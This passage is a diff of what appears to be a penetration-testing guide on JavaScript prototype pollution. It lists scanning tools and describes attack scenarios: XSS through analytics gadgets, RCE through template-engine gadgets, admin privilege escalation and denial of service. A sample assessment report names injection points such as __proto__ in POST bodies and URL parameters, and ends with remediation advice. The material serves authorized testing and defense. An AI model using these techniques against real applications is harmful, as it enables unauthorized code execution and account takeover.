202
+ |------|---------|
203
+ | DOM Invader | Burp Suite built-in tool for detecting client-side prototype pollution |
204
+ | Prototype Pollution Gadgets Scanner | Burp extension for server-side gadget detection |
205
+ | ppfuzz | Automated prototype pollution fuzzer |
206
+ | Nuclei | Template-based scanner with prototype pollution templates |
207
+ | server-side-prototype-pollution | Burp Scanner check for server-side detection |
208
+ | ESLint security plugin | Static analysis for prototype pollution patterns in code |
209
+
210
+ ## Common Scenarios
211
+
212
+ 1. **DOM XSS via Analytics** — Pollute transport_url property to inject JavaScript through analytics tracking scripts that read URL from prototype
213
+ 2. **RCE via Template Engine** — Exploit EJS/Pug/Handlebars gadgets to execute arbitrary commands through polluted template rendering properties
214
+ 3. **Admin Privilege Escalation** — Pollute isAdmin or role properties to bypass authorization checks in Node.js applications
215
+ 4. **JSON Schema Bypass** — Pollute schema validation properties to bypass input validation and inject malicious data
216
+ 5. **Denial of Service** — Pollute toString or valueOf to crash the application when objects are coerced to primitives
217
+
218
+ ## Output Format
219
+
220
+ ```
221
+ ## Prototype Pollution Assessment Report
222
+ - **Target**: http://target.com
223
+ - **Type**: Server-Side Prototype Pollution
224
+ - **Impact**: Remote Code Execution via EJS template gadget
225
+
226
+ ### Findings
227
+ | # | Source | Gadget | Sink | Impact |
228
+ |---|--------|--------|------|--------|
229
+ | 1 | POST /api/merge __proto__ | EJS escapeFunction | Template render | RCE |
230
+ | 2 | POST /api/profile __proto__ | isAdmin property | Auth middleware | Privilege Escalation |
231
+ | 3 | URL ?__proto__[innerHTML] | innerHTML property | DOM write | Client-Side XSS |
232
+
233
+ ### Remediation
234
+ - Use Object.create(null) for configuration objects instead of {}
235
+ - Freeze Object.prototype with Object.freeze(Object.prototype)
236
+ - Sanitize __proto__ and constructor keys in user input
237
+ - Use Map instead of plain objects for user-controlled data
238
+ - Update vulnerable npm packages (lodash, merge-deep, etc.)
239
+ ```